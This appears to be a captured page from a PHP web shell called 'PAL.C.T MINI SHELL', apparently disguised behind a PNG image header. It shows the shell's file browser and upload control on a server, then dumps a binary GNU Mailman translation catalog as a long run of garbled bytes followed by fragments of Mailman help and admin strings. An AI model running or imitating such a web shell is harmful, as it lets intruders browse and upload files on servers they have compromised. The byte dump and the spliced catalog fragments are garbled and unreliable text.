php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/mailman/messages/ia/LC_MESSAGES/
upload
files >> //proc/self/root/usr/lib/mailman/messages/ia/LC_MESSAGES/mailman.mo

p#GGZGwH+H;HVH'UI}KT	LNU'XY
ZZZZ[U[\\]_`_`aLb!b!c$3cXcjcc&ccccc
dd3dHdfd~dddddd`dNe&heeRe5e(f:f6g;gBgSghgwwggh%h<)hfh@i-Yiii8i3i"j(=j!fj&j,j.j'k33kgkk(k,kk/l!5l'Wl$l,l4lPm%Wm7}m,m=m! n*Bn&mn%n&nJn,oI?oKonoDppppp
q(q5qHq\q+|qqaq%#r)Irsr/rRrJtbWtTt1uAuWu4vWyfqyry8Kz$zz,zz}{6{%{{(|)|%}@}[}0r}*}}\}	B~LL~#fVumh,h!ӇՇ5ׇ
%4=%r bȈ*+OVF6.,[k'̊Պ)
H%V7|P.4fP׎0ӕÖʖҖ֖ܖ	
,B$\BAә,.B3qÚ#"?8x›ڛ2+F`_Ҝ2%L%r'U(HßT՟*9D~p
xC`ۤ<X_r'9Fat#)Ǧ
*H-d0çRS6ڨѫ!!=Zyk%ܭ. =^"jy
7@FLSgkt}0+Iu5

$-*5d`Ż)λ)/
3=)q$Z
bp!#0<BW,g#;7>v1#%BXkry}]$='#$3Xs1_"x1)9&$@0e%9F2=1p0	x6Vm.*,"#
1P?i}#Q&5(%6,cq|$!:(\16K
iw*!%)	Zq0UZ\YXaj3K!''
OZaip
u/3%2Cv$~%`y	\`
ft
U+/">aqD6 V!w%		!.;
0-52O;8
.Ip[0?Qa
w!4&<Xq#:%U{b;	
	%)O8a9J
_AKQ*3K]o	
	(
5>tr/D 7t  
  )  !+!2!,L! y!8!7!9$E&'';()<(f('o(,((
(_6r6666%66	7j7!::::::	:;;50;\f>?????@	@@P/AALC-]C+CCC#EEEE<E7F?FCF.OF	~FFF(F;F<	G FG:gG%GZG0#H1TH)H!HHHI		III-I1IrKu.MgNO_Og	PrqP;P3 Q"TQWwRRJSOTjT)UJ=UMUUuV=W%XKXK)Y7uY|Y/*Z[ZZZ&[&[
\&\	:\zD\\\\\]"$]G]P]W]g]v]]	]])]]^^)^?^T^s^^^^^^___&_"_P_=D`[`N`w-aakb
cc:nc\dyhj-j3j6j7.kfkk6ll*mn%ppqqLUrrs.taDu;uvuYvwnw!Fx0hx1xOyr{Y{|})~4?~5t~6~7~'7A0yP65Yl"Ƃ@Vވm5‹j-
֟ܟ|ӠqPn¡1ڢ	ä+ͤ7(K-t,1Ϩgê+%4RY&Ӻ"<(ekqݻ	ͽ&,8Tl !ƾ!ݾ..50
0DVl0	5-
8TrvGbZ0gV#?cjW1#2.Ap(55=42E2x];	*Epp%!$G-c=1o,.hfG' -'E3)&B~ip.Y!K&?CfD

/%67HH##	+	J	h	Cx	P	P
c^
V
jVS

!7N`{#%%?Y`m  ".
5
CQcl{%*:CU	b l
	
/	=GKNV_em~,)$N8V8"1*7"b]_1~LgCe=J
2')+,,,,-Y-:../k12C34!4!4#4"5.5F5&c55#5556646L6k6(66666
6p
7{7%77J7<8Q8>=9|9	99999)>:h::F::;4;<8<KK<<<!</<'&=:N=/=5=9=7)>a>>)>'>>3>)3?*]?$?3???V!@&x@4@<@:A'LA.tA*A-A&AJ#BnBGBIBuCC-D:DCDRD
aD,oD
D
D!D$DDE&F''FOF3`FUFMGi8HWH/H*IPI JS'Mp{MM2N%NN/N)OO:O)O'P(P* Q-KQyQQ5Q*QRi*R
RRRS&TjUbUUVdWbW0[X"[:[]];]*^ J^5k^1^^^^j_4m___P`S`:[`1```a"a<aKaTaqabb&b
b-b4 c]Ud1d#db	e&leeeeeiPi]iKlamjmrmvm|mmmmmmm"m-n
GnUnFpH,q=uqJq'q&r (rIr.irrCrrs 7sXs-xs>ss#s3#t!Wtyt(tft'u)Cu*mu+ucu(v'=vevv2w*wxcx,}xEyyz7|H}U]}b}#~:~C~)W~"~~1~"~
:Ni/(.&73H|22ˀ!W [x!ԁ-6)6)Is%"%Յ'φ-'U"r2#ȇ
08(aw	ғ֓!ߓ|~*3KTm0n[3d.2ߝ~3#<!G^4-ۣ	
 ,(
$67[ʥ3ܥ!	)3'9as	w>0#:=x(ާ!%)e>)ߨūͫݫ/(=-R<[U|h9>(g5p&0ͮ$A#`e^ư;%Ca<2wo1/ָ*(1Zu%׻!.ȼnfv -)WH^q7@DMVZ`djr".o! 5!6
4YB!;!6]X`_^wg>+UT$rX-%
-;JY^r1D4	$>Fc, prUU/7'2ZpS &&3Fz	)25)6G=~:#-0%Ci~1.7` &1-Ky>!10G"x&@(CnI	
e'p8F!`$Fm!'%;"Vy
 2!!#95]!	A=	3+_v	"/&FL\,o

A
3
12L
s$0/DS3&!H]e	x]]"u#}####
##j$d+%%s';'%'''*)*:*	F*EP****5****:+AO+M+.+@,/O,q,-,---M-+{-(---	--
...0^2s4|4b#5}56<6>647g=88Z9[:]:4$;YY;[;<p=|=r>P2?P?5?
@:@u@DA([B&B
B)BBBuCCCCC)C	D"D+DBD[DoDD$D&DDD	EE*E!CE!eEEEEEEFFF1F*FMG<]GZGUGKHHIJNJVKMO Q1Q</R=lR@RRS67TnTrJU	V-XX	YYPuZZ[^\nj]9]^^_Y`-`<
aTGanbmdoydef5(g?^gDg@gE$h+jh4h-hh[iHjkEkak)@ljllGAnQrrtNulu;z"~
x(wȍ
.8	3B6v@eeԛ::ߟأT'(#:^nAͦvZbflX
Z#e*+ҩ
(C$]$)Ī9(/Bޭ!3.)Hr9xƲ-*.5YG
KV,u
,;ڴRi0kPu.2a&+*;<(6$_
!";=W2;+X!2zs;L' 'H0p8=I2++.W/>'&';+ yLzHA`cS/S!>:[X$
./^ ~@RIClNIn\*^"* K+h*6=%J#p'
?M&f',8@U\r,''/3N
R]
lw37ks|/<<&%c
/"
    confirm <confirmation-string>
        Confirm an action.  The confirmation-string is required and should be
        supplied by a mailback confirmation notice.

    echo [args]
        Simply echo an acknowledgement.  Args are echoed back unchanged.

    end
        Stop processing commands.  Use this if your mail program automatically
        adds a signature file.

    help
        Print this help message.

    info
        Get information about this mailing list.

    lists
        See a list of the public mailing lists on this GNU Mailman server.

    password [<oldpassword> <newpassword>] [address=<address>]
        Retrieve or change your password.  With no arguments, this returns
        your current password.  With arguments <oldpassword> and <newpassword>
        you can change your password.

        If you're posting from an address other than your membership address,
        specify your membership address with `address=<address>' (no brackets
        around the email address, and no quotes!).  Note that in this case the
        response is always sent to the subscribed address.

    set ...
        Set or view your membership options.

        Use `set help' (without the quotes) to get a more detailed list of the
        options you can change.

        Use `set show' (without the quotes) to view your current option
        settings.

    set help
        Show this detailed help.

    set show [address=<address>]
        View your current option settings.  If you're posting from an address
        other than your membership address, specify your membership address
        with `address=<address>' (no brackets around the email address, and no
        quotes!).

    set authenticate <password> [address=<address>]
        To set any of your options, you must include this command first, along
        with your membership password.  If you're posting from an address
        other than your membership address, specify your membership address
        with `address=<address>' (no brackets around the email address, and no
        quotes!).

    set ack on
    set ack off
        When the `ack' option is turned on, you will receive an
        acknowledgement message whenever you post a message to the list.

    set digest plain
    set digest mime
    set digest off
        When the `digest' option is turned off, you will receive postings
        immediately when they are posted.  Use `set digest plain' if instead
        you want to receive postings bundled into a plain text digest
        (i.e. RFC 1153 digest).  Use `set digest mime' if instead you want to
        receive postings bundled together into a MIME digest.

    set delivery on
    set delivery off
        Turn delivery on or off.  This does not unsubscribe you, but instead
        tells Mailman not to deliver messages to you for now.  This is useful
        if you're going on vacation.  Be sure to use `set delivery on' when
        you return from vacation!

    set myposts on
    set myposts off
        Use `set myposts off' to not receive copies of messages you post to
        the list.  This has no effect if you're receiving digests.

    set hide on
    set hide off
        Use `set hide on' to conceal your email address when people request
        the membership list.

    set duplicates on
    set duplicates off
        Use `set duplicates off' if you want Mailman to not send you messages
        if your address is explicitly mentioned in the To: or Cc: fields of
        the message.  This can reduce the number of duplicate postings you
        will receive.

    set reminders on
    set reminders off
        Use `set reminders off' if you want to disable the monthly password
        reminder for this mailing list.

    subscribe [password] [digest|nodigest] [address=<address>]
        Subscribe to this mailing list.  Your password must be given to
        unsubscribe or change your options, but if you omit the password, one
        will be generated for you.  You may be periodically reminded of your
        password.

        The next argument may be either: `nodigest' or `digest' (no quotes!).
        If you wish to subscribe an address other than the address you sent
        this request from, you may specify `address=<address>' (no brackets
        around the email address, and no quotes!)

    unsubscribe [password] [address=<address>]
        Unsubscribe from the mailing list.  If given, your password must match
        your current password.  If omitted, a confirmation email will be sent
        to the unsubscribing address. If you wish to unsubscribe an address
        other than the address you sent this request from, you may specify
        `address=<address>' (no brackets around the email address, and no
        quotes!)

    who password
        See everyone who is on this mailing list.  The roster is limited to
        list administrators and moderators only; you must supply the list
        admin or moderator password to retrieve the roster.

- Done.


- Ignored:
- Unprocessed:
To finish removing your mailing list, you must edit your /etc/aliases (or
equivalent) file by removing the following lines, and possibly running the
`newaliases' program:

## %(listname)s mailing list
Usage:
You are subscribed to this list with the case-preserved address
<em>%(cpuser)s</em>.            You have successfully canceled the posting of your message with
            the Subject: header <em>%(subject)s</em> to the mailing list
            %(listname)s.            You have successfully changed your address on the %(listname)s
            mailing list from <b>%(oldaddr)s</b> to <b>%(newaddr)s</b>.  You
            can now <a href="%(optionsurl)s">proceed to your membership
            login page</a>.            You have successfully confirmed your subscription request for
            "%(addr)s" to the %(listname)s mailing list.  A separate
            confirmation message will be sent to your email address, along
            with your password, and other useful information and links.

            <p>You can now
            <a href="%(optionsurl)s">proceed to your membership login
            page</a>.            You have successfully confirmed your subscription request to the
            mailing list %(listname)s, however final approval is required from
            the list moderator before you will be subscribed.  Your request
            has been forwarded to the list moderator, and you will be notified
            of the moderator's decision.            You have successfully re-enabled your membership in the
            %(listname)s mailing list.  You can now <a
            href="%(optionsurl)s">visit your member options page</a>.
                        You have successfully unsubscribed from the %(listname)s mailing
            list.  You can now <a href="%(listinfourl)s">visit the list's main
            information page</a>.            You were not invited to this mailing list.  The invitation has
            been discarded, and both list administrators have been
            alerted.     Description: %(description)s     Requests to: %(requestaddr)s    %(status)s (%(how)s on %(date)s)    ack %(onoff)s    address not found:    clone address added:    clone address is already a member:    digest mime    digest off    digest plain    duplicates %(onoff)s    hide %(onoff)s    myposts %(onoff)s    new list owners:    original address removed:    reminders %(onoff)s    scanning list owners:   %(file)s: okay  Thread %(size)i bytes  (%(count)d of %(total)d) (Digest mode) (but we obscure the addresses so they are not
                easily recognizable by spammers). (requires authorization) (requires confirmation)<br>&nbsp;<br> <p>Enter your  If you leave the field blank, you will be prompted for
        your email address The last bounce received from you was dated %(date)s To visit the general information page for an unadvertised list,
        open a URL similar to this one, but with a '/' and the %(adj)s
        list name appended.
        <p>List administrators, you can visit  and password to visit  the subscribers list: <p><center>  at  bytes from %(remote)s is already a member subscribers:  to find the management interface for your list.
         <p>If you are having trouble using the lists, please contact ## %(listname)s mailing list#%(counter)05d %(msgid)s%%%%(address)s is not a member of the %(listname)s mailing list%(address)s was invited to a different mailing
list, but in a deliberate malicious attempt they tried to confirm the
invitation to your list.  We just thought you'd like to know.  No further
action by you is required.%(allcnt)s members total%(allcnt)s members total, %(membercnt)s shown%(day)i %(month)s %(year)i%(days)d %(units)s%(dbfile)s owned by %(owner)s (must be owned by %(user)s%(file)s permissions must be 066x (got %(octmode)s)%(hostname)s Mailing Lists%(hostname)s mailing lists - Admin Links%(i)3d. List name:   %(realname)s%(listfullname)s mailing list reminder%(listinfo_link)s list run by %(owner_link)s%(listname)s %(msg)s not found as %(filename)s%(listname)s mailing list probe message%(listname)s post from %(sender)s requires approval%(messages)d messages found%(month)s %(year)i%(name)s runs the %(runnername)s qrunner%(newaddr)s is already a member of the list.%(ord)s quarter %(year)i%(realname)s -- Edit html for %(template_info)s%(realname)s -- HTML Page Editing%(realname)s Administration (%(label)s)%(realname)s Administrative Database%(realname)s Administrative Database Results%(realname)s Digest, Vol %(volume)d, Issue %(issue)d%(realname)s Mailing list Configuration Help
    <br><em>%(varname)s</em> Option%(realname)s administrative interface%(realname)s list: member options for user %(safeuser)s%(realname)s list: member options login page%(realname)s mailing list administration<br>%(label)s Section%(realname)s post acknowledgement%(realname)s roster authentication failed.%(realname)s subscription notification%(realname)s unsubscribe notification%(safetemplatename)s: Invalid template%(wday)s %(mon)s %(day)2i %(hh)02i:%(mm)02i:%(ss)02i %(tzname)s %(year)04i&lt;blank line&gt;(<i>%(which)s is only available to the list
                members.</i>)(<i>%(which)s is only available to the list
            administrator.</i>)(Administrivia filter) Check postings and intercept ones
             that seem to be administrative requests?(Note - you are subscribing to a list of mailing lists, so the %(type)s notice will be sent to the admin address for your membership, %(addr)s.)<p>(fixing)(help)(no change)(no subject)- Results:-------------- next part --------------
...after this one....before this one....or specify a file to upload:; it was disabled by the list administrator; it was disabled by you; it was disabled due to excessive bounces.  The
            last bounce was received on %(date)s; it was disabled for unknown reasons<P>Currently, there are no archives. </P><b><i>either</i></b> <b>Cancel</b> and return to list administration<b>Invalid confirmation string:</b>
    %(safecookie)s.

    <p>Note that confirmation strings expire approximately
    %(days)s days after the initial subscription request.  If your
    confirmation has expired, please try to re-submit your subscription.
    Otherwise, <a href="%(confirmurl)s">re-enter</a> your confirmation
    string.<b>ack</b> -- Does the member get acknowledgements of their
        posts?<b>digest</b> -- Does the member get messages in digests?
        (otherwise, individual messages)<b>hide</b> -- Is the member's address concealed on
        the list of subscribers?<b>language</b> -- Language preferred by the user<b>mod</b> -- The user's personal moderation flag.  If this is
        set, postings from them will be moderated, otherwise they will be
        approved.<b>nodupes</b> -- Does the member want to avoid duplicates of the
        same message?<b>nomail</b> -- Is delivery to the member disabled?  If so, an
        abbreviation will be given describing the reason for the disabled
        delivery:
            <ul><li><b>U</b> -- Delivery was disabled by the user via their
                    personal options page.
                <li><b>A</b> -- Delivery was disabled by the list
                    administrators.
                <li><b>B</b> -- Delivery was disabled by the system due to
                    excessive bouncing from the member's address.
                <li><b>?</b> -- The reason for disabled delivery isn't known.
                    This is the case for all memberships which were disabled
                    in older versions of Mailman.
            </ul><b>not metoo</b> -- Does the member want to avoid copies of their
        own postings?<b>plain</b> -- If getting digests, does the member get plain
        text digests?  (otherwise, MIME)<b>real_name</b> attribute not
            changed!  It must differ from the list's name by case
            only.<b>unsub</b> -- Click on this to unsubscribe the member.<br>(Details for <b>%(varname)s</b>)<br>(Edit <b>%(varname)s</b>)<br><em>...specify a file to upload</em><br><br><em><strong>Note:</strong>
        setting this value performs an immediate action but does not modify
        permanent state.</em><br>Return to the <em>(%(num_concealed)d private members not shown)</em><em>(1 private member not shown)</em><em><strong>Warning:</strong> changing this option here
    could cause other screens to be out-of-sync.  Be sure to reload any other
    pages that are displaying this option for this mailing list.  You can also
    <em>Enter the text below, or...</em><br><em>Message with id #%(id)d is corrupted.<em>Message with id #%(id)d was lost.<em>No topics defined</em><em>Not available</em><em>The sender is now a member of this list</em><em>Yes, I really want to unsubscribe</em><em>not available</em><li>Set everyone's moderation bit, including
            those members not currently visible<missing><p>%(note)s

            <p>You may have disabled list delivery intentionally,
            or it may have been triggered by bounces from your email
            address.  In either case, to re-enable delivery, change the
            %(link)s option below.  Contact %(mailto)s if you have any
            questions or need assistance.<p>(Note that this is an umbrella list, intended to
            have only other mailing lists as members.  Among other things,
            this means that your confirmation request will be sent to the
            `%(sfx)s' account for your address.)<p>(Send questions and comments to <p>... <b><i>or</i></b> select your entry from
                      the subscribers list (see above).<p><em>To view more members, click on the appropriate
        range listed below:</em><p>Below is a listing of all the public mailing lists on
            %(hostname)s.  Click on a list name to get more information about
            the list, or to subscribe, unsubscribe, and change the preferences
            on your subscription.<p>Below is the collection of publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.  Click on a list
            name to visit the configuration pages for that list.<p>There currently are no publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.<p>There currently are no publicly-advertised %(mailmanlink)s
            mailing lists on %(hostname)s.<p>We have received some recent bounces from your
            address.  Your current <em>bounce score</em> is %(score)s out of a
            maximum of %(total)s.  Please double check that your subscribed
            address is correct and that there are no problems with delivery to
            this address.  Your bounce score will be automatically reset if
            the problems are corrected soon.<tt>Reply-To:</tt> header munging<ul><li><b>Hold</b> -- this holds the message for approval
             by the list moderators.

             <p><li><b>Reject</b> -- this automatically rejects the message by
             sending a bounce notice to the post's author.  The text of the
             bounce notice can be <a
             href="?VARHELP=privacy/sender/member_moderation_notice"
             >configured by you</a>.

             <p><li><b>Discard</b> -- this simply discards the message, with
             no notice sent to the post's author.
             </ul>?AA confirmation message has been sent to %(newaddr)s. A digest has been sent.A list name is requiredA reminder of your password has been emailed to you.A terse phrase identifying this list.AcceptAcceptsAcknowledge the member's postingAction to take for postings from non-members for which no
             explicit action is defined.Action to take on all these held messages:Action to take when a message matches the content filtering
             rules.Action to take when a moderated member posts to the
             list.Action:Add <b>%(esender)s</b> to one of these sender filters:Add a non-fuzzy translation to the dictionary.Add new item...Additional Member TasksAdditional settingsAdditionally, forward this message to: Address/nameAddress:Addresses did not match!Addresses in this list are banned outright from subscribing
             to this mailing list, with no further moderation required.  Add
             addresses one per line; start the line with a ^ character to
             designate a regular expression match.Addresses may not be blankAdmin address:Administrative requests for mailing list:AdministratorAdministrator passwords did not matchAdministrivia tests will check postings to see whether it's
             really meant as an administrative request (like subscribe,
             unsubscribe, etc), and will add it to the the administrative
             requests queue, notifying the administrator of the new request,
             in the process.Advertise this list when people ask what lists are on this
             machine?After content filtering, the message was emptyAgain to confirm password: Alias names (regexps) which qualify as explicit to or cc
             destination names for this list.All runs all the above qrunnersAlready a memberAlready a member: %(member)sAlso delete archives?Alternate addresses that are acceptable when
             `require_explicit_destination' is enabled.  This option takes a
             list of regular expressions, one per line, which is matched
             against every recipient address in the message.  The matching is
             performed with Python's re.match() function, meaning they are
             anchored to the start of the string.
             
             <p>For backwards compatibility with Mailman 1.1, if the regexp
             does not contain an `@', then the pattern is matched against just
             the local part of the recipient address.  If that match fails, or
             if the pattern does contain an `@', then the pattern is matched
             against the entire recipient address.
             
             <p>Matching against the local part is deprecated; in a future
             release, the pattern will always be matched against the entire
             recipient address.AlwaysAn HTML attachment was scrubbed...
URL: %(url)s
An attempt was made to subscribe your address to the mailing list
%(listaddr)s.  You are already subscribed to this mailing list.

Note that the list membership is not public, so it is possible that a bad
person was trying to probe the list for its membership.  This would be a
privacy violation if we let them do this, but we didn't.

If you submitted the subscription request and forgot that you were already
subscribed to the list, then you can ignore this message.  If you suspect that
an attempt is being made to covertly discover whether you are a member of this
list, and you are worried about your privacy, then feel free to send a message
to the list administrator at %(listowner)s.
An introductory description - a few paragraphs - about the
             list.  It will be included, as html, at the top of the listinfo
             page.  Carriage returns will end a paragraph - see the details
             for more info.AnyoneApproveAprAprilArchive messages?Archiving OptionsAs neededAugAugustAuthentication failed.Authorization failed.Auto-discard notificationAuto-generate initial list password?Auto-responderAuto-responder characteristics.<p>

In the text fields below, string interpolation is performed with
the following key/value substitutions:
<p><ul>
    <li><b>listname</b> - <em>gets the name of the mailing list</em>
    <li><b>listurl</b> - <em>gets the list's listinfo URL</em>
    <li><b>requestemail</b> - <em>gets the list's -request address</em>
    <li><b>owneremail</b> - <em>gets the list's -owner address</em>
</ul>

<p>For each text field, you can either enter the text directly into the text
box, or you can specify a file on your local system to upload as the text.Auto-response for your message to the "%(realname)s" mailing listAuto-response text to send to -owner emails.Auto-response text to send to -request emails.Auto-response text to send to mailing list posters.Awaiting moderator approvalBBad --digest option: %(kind)sBad --nomail option: %(why)sBad MIME type ignored: %(spectype)sBad URL specificationBad approval password given.  Held message is still being held.Bad argument: %(arg)sBad arguments: %(strargs)sBad command: %(command)sBad confirmation stringBad digest specifier: %(arg)sBad email address for option %(property)s: %(val)sBad email address providedBad moderation flag valueBad owner email address: %(s)sBad queue directory: %(qdir)sBad regular expression: Bad set command: %(subcmd)sBad value for <a href="?VARHELP=bounce/%(property)s"
                >%(property)s</a>: %(val)sBad/Invalid email addressBad/Invalid email address: %(member)sBad/Invalid email address: blank lineBadly formed options entry:
 %(record)sBan <b>%(esender)s</b> from ever subscribing to this
                    mailing listBan listBatched-delivery digest characteristics.Below, enter additional text to be added to the
    top of your invitation or the subscription notification.  Include at least
    one blank line at the end...Blind carbon copies or other implicit destinations are
not allowed.  Try reposting your message by explicitly including the list
address in the To: or Cc: fields.Bounce action notificationBounce detection sensitivityBounce processingBy clicking on the <em>Remind</em> button, your
    password will be emailed to you.By clicking on the <em>Unsubscribe</em> button, a
    confirmation message will be emailed to you.  This message will have a
    link that you should click on to complete the removal process (you can
    also confirm by email; see the instructions in the confirmation
    message).By default, should new list member postings be moderated?By setting this value to <em>No</em>, you disable all
             automatic bounce processing for this list, however bounce
             messages will still be discarded so that the list administrator
             isn't inundated with them.By setting this value to <em>No</em>, you turn off
             notification messages that are normally sent to the list owners
             when a member is unsubscribed due to excessive bounces.  An
             attempt to notify the member will always be made.By setting this value to <em>No</em>, you turn off
             notification messages that are normally sent to the list owners
             when a member's delivery is disabled due to excessive bounces.
             An attempt to notify the member will always be made.CGI script errorCan list members choose to receive list traffic bunched in digests?Can subscribers choose to receive mail immediately, rather
             than in batched digests?Can't have empty html page.CancelCancel and discardCancel held message postingCancel my subscription requestCancel postingCannot open mbox file %(mbox)s: %(msg)sCannot unsubscribe non-members:CatalanCeiling on acceptable number of recipients for a posting.Change My Address and NameChange My PasswordChange addressChange list ownership passwordsChange of address request confirmedChanging passwords for list: %(listname)sChinese (China)Chinese (Taiwan)Clear FormClear this member's <em>moderate</em> flagClick here for the list of Click here to hide the legend for this table.Click here to include the legend for this table.Click here to reload this page.Click on a link to visit your options page for the
        requested mailing list.Click on the message number to view the individual
            message, or you can Computing threaded index
Conceal the member's addressConfiguration CategoriesConfirmConfirm (*) - email confirmation required <br>
                           Require approval - require list administrator
                           approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br> This prevents
                           mischievous (or malicious) people from creating
                           subscriptions for others without their consent.Confirm administrator password:Confirm and approveConfirm change of address requestConfirm initial password:Confirm moderator password:Confirm subscription requestConfirm unsubscription requestConfirmation from your email address is required, to prevent anyone from
subscribing you without permission.  Instructions are being sent to you at
%(email)s.  Please note your subscription will not start until you confirm
your subscription.Confirmation string was empty.Confirmation string:Confirmation succeededContent filtered message notificationContent&nbsp;filteringContinue awaiting approvalCould not open file for reading: %(filename)s.Could not open file for writing:Create ListCreate a %(hostname)s Mailing ListCreate a new, unpopulated mailing list.

Usage: %(PROGRAM)s [options] [listname [listadmin-addr [admin-password]]]

Options:

    -l language
    --language=language
        Make the list's preferred language `language', which must be a two
        letter language code.

    -u urlhost
    --urlhost=urlhost
        Gives the list's web interface host name.

    -e emailhost
    --emailhost=emailhost
        Gives the list's email domain name.

    -q/--quiet
        Normally the administrator is notified by email (after a prompt) that
        their list has been created.  This option suppresses the prompt and
        notification.

    -h/--help
        Print this help text and exit.

You can specify as many of the arguments as you want on the command line:
you will be prompted for the missing ones.

Every Mailman list has two parameters which define the default host name for
outgoing email, and the default URL for all web interfaces.  When you
configured Mailman, certain defaults were calculated, but if you are running
multiple virtual Mailman sites, then the defaults may not be appropriate for
the list you are creating.

You also specify the domain to create your new list in by typing the command
like so:

    newlist --urlhost=www.mydom.ain mylist

where `www.mydom.ain' should be the base hostname for the URL to this virtual
hosts's lists.  E.g. with this setting people will view the general list
overviews at http://www.mydom.ain/mailman/listinfo.  Also, www.mydom.ain
should be a key in the VIRTUAL_HOSTS mapping in mm_cfg.py/Defaults.py if
the email hostname to be automatically determined.

If you want the email hostname to be different from the one looked up by the
VIRTUAL_HOSTS or if urlhost is not registered in VIRTUAL_HOSTS, you can specify
`emailhost' like so:

    newlist --urlhost=www.mydom.ain --emailhost=mydom.ain mylist

where `mydom.ain' is the mail domain name. If you don't specify emailhost but
urlhost is not in the virtual host list, then mm_cfg.DEFAULT_EMAIL_HOST will
be used for the email interface.

For backward compatibility, you can also specify the domain to create your
new list in by spelling the listname like so:

    mylist@www.mydom.ain

where www.mydom.ain is used for `urlhost' but it will also be used for
`emailhost' if it is not found in the virtual host table. Note that
'--urlhost' and '--emailhost' have precedence to this notation.

If you spell the list name as just `mylist', then the email hostname will be
taken from DEFAULT_EMAIL_HOST and the url will be taken from DEFAULT_URL (as
defined in your Defaults.py file or overridden by settings in mm_cfg.py).

Note that listnames are forced to lowercase.
Create another listCreating archive directory CroatianCzechDailyDanishDatabase Updated...DecDecemberDefault language for this list.Default options for new members joining this list.<input
             type="hidden" name="new_member_options" value="ignore">DeferDeleteDelete this listDelete this mailing listDelivered by Mailman<br>version %(version)sDescriptionDescription:Description:  %(description)sDetailed instructions for the administrative databaseDigestDigest FooterDigest HeaderDigest members:Digest optionsDisabledDiscardDiscard all messages marked <em>Defer</em>Discard held messages older than this number of days.
            Use 0 for no automatic discarding.DiscardsDo not send a copy of a member's own postDutchEach header filter rule has two parts, a list of regular
             expressions, one per line, and an action to take.  Mailman
             matches the message's headers against every regular expression in
             the rule and if any match, the message is rejected, held, or
             discarded based on the action you specify.  Use <em>Defer</em> to
             temporarily disable a rule.

             You can have more than one filter rule for your list.  In that
             case, each rule is matched in turn, with processing stopped after
             the first match.

             Note that headers are collected from all the attachments 
             (except for the mailman administrivia message) and
             matched against the regular expressions. With this feature,
             you can effectively sort out messages with dangerous file
             types or file name extensions.Each list member has a <em>moderation flag</em> which says
             whether messages from the list member can be posted directly to
             the list, or must first be approved by the list moderator.  When
             the moderation flag is turned on, list member postings must be
             approved first.  You, the list administrator can decide whether a
             specific individual's postings will be moderated or not.

             <p>When a new member is subscribed, their initial moderation flag
             takes its value from this option.  Turn this option off to accept
             member postings by default.  Turn this option on to, by default,
             moderate member postings first.  You can always manually set an
             individual member's moderation bit by using the
             <a href="%(adminurl)s/members">membership management
             screens</a>.Each subscriber is assigned a bounce score, as a floating
             point number.  Whenever Mailman receives a bounce from a list
             member, that member's score is incremented.  Hard bounces (fatal
             errors) increase the score by 1, while soft bounces (temporary
             errors) increase the score by 0.5.  Only one bounce per day
             counts against a member's score, so even if 10 bounces are
             received for a member on the same day, their score will increase
             by just 1.

             This variable describes the upper limit for a member's bounce
             score, above which they are automatically disabled, but not
             removed from the mailing list.Each topic keyword is actually a regular expression, which is
             matched against certain parts of a mail message, specifically the
             <code>Keywords:</code> and <code>Subject:</code> message headers.
             Note that the first few lines of the body of the message can also
             contain a <code>Keywords:</code> and <code>Subject:</code>
             "header" on which matching is also performed.Edit HTML : ErrorEdit OptionsEdit the public HTML pages and text filesEmail My Password To MeEmail address:Emergency hold on all list traffic is in effectEmergency moderation of all list traffic is enabledEmergency moderation of all list traffic.Empty list passwords are not allowedEnabledEncode the
             <a href="?VARHELP=general/subject_prefix">subject
             prefix</a> even when it consists of only ASCII characters?End of English (USA)Enter confirmation cookieEnter new administrator password:Enter new moderator password:Enter one address per line below...Enter the email of the person running the list: Enter the name of the list: ErrorError Unsubscribing:Error inviting:Error opening list %(listname)s... skipping.Error subscribing:Error: EstonianEuskaraExplicit <tt>Reply-To:</tt> header.Explicit addressFebFebruaryFilter out duplicate messages to list members (if possible)Filter rules to match against the headers of a message.Find member %(link)s:FinnishFirstFooter added to every digestFooter added to mail sent to regular list membersFor some unknown reasonForward messages (individually) to:Forward of moderated messageForward to List OwnerForwarding optionsFourthFrenchFriFrom:Full PersonalizationFundamental list characteristics, including descriptive
            info and basic behaviors.General OptionsGeneral list information pageGeneral list personalityGenerate binary message catalog from textual translation description.

This program converts a textual Uniforum-style message catalog (.po file) into
a binary GNU catalog (.mo file).  This is essentially the same function as the
GNU msgfmt program, however, it is a simpler implementation.

Usage: msgfmt.py [OPTIONS] filename.po

Options:
    -o file
    --output-file=file
        Specify the output file to write to.  If omitted, output will go to a
        file named filename.mo (based off the input file name).

    -h
    --help
        Print this message and exit.

    -V
    --version
        Display version information and exit.
GermanGnu's Not UnixGo to list archivesGo to the general list information pageGzip'd Text%(sz)sHTML Unchanged.HTML attachment scrubbed and removedHTML successfully updated.Header added to every digestHeader added to mail sent to regular list membersHeader filter rules require a pattern.
                Incomplete filter rules will be ignored.Header filtersHide the sender of a message, replacing it with the list
             address (Removes From, Sender and Reply-To fields)Hit enter to notify %(listname)s owner...HoldHold posts with header value matching a specified regexp.HoldsHost name this list prefers for email.Hostile address (illegal characters)Hostile address (illegal characters): %(member)sHostile subscription attempt detectedHow big in Kb should a digest be before it gets sent out?How many <em>Your Membership Is Disabled</em> warnings a
             disabled member should get before their address is removed from
             the mailing list.  Set to 0 to immediately remove an address from
             the list once their bounce score exceeds the threshold.  This
             value must be an integer.How many body lines should the topic matcher scan?How often should a new archive volume be started?How often should a new digest volume be started?HungarianIf a posting has this number, or more, of recipients, it is
             held for admin approval.  Use 0 for no ceiling.If you reject this post,<br>please explain (optional):If you reply to this message, keeping the Subject: header intact, Mailman will
discard the held message.  Do this if the message is spam.  If you reply to
this message and include an Approved: header with the list password in it, the
message will be approved for posting to the list.  The Approved: header can
also appear in the first line of the body of the reply.If you supply a password, you must confirm it.If your mailing list's default language uses a non-ASCII
             character set and the prefix contains non-ASCII characters, the
             prefix will always be encoded according to the relevant
             standards.  However, if your prefix contains only ASCII
             characters, you may want to set this option to <em>Never</em> to
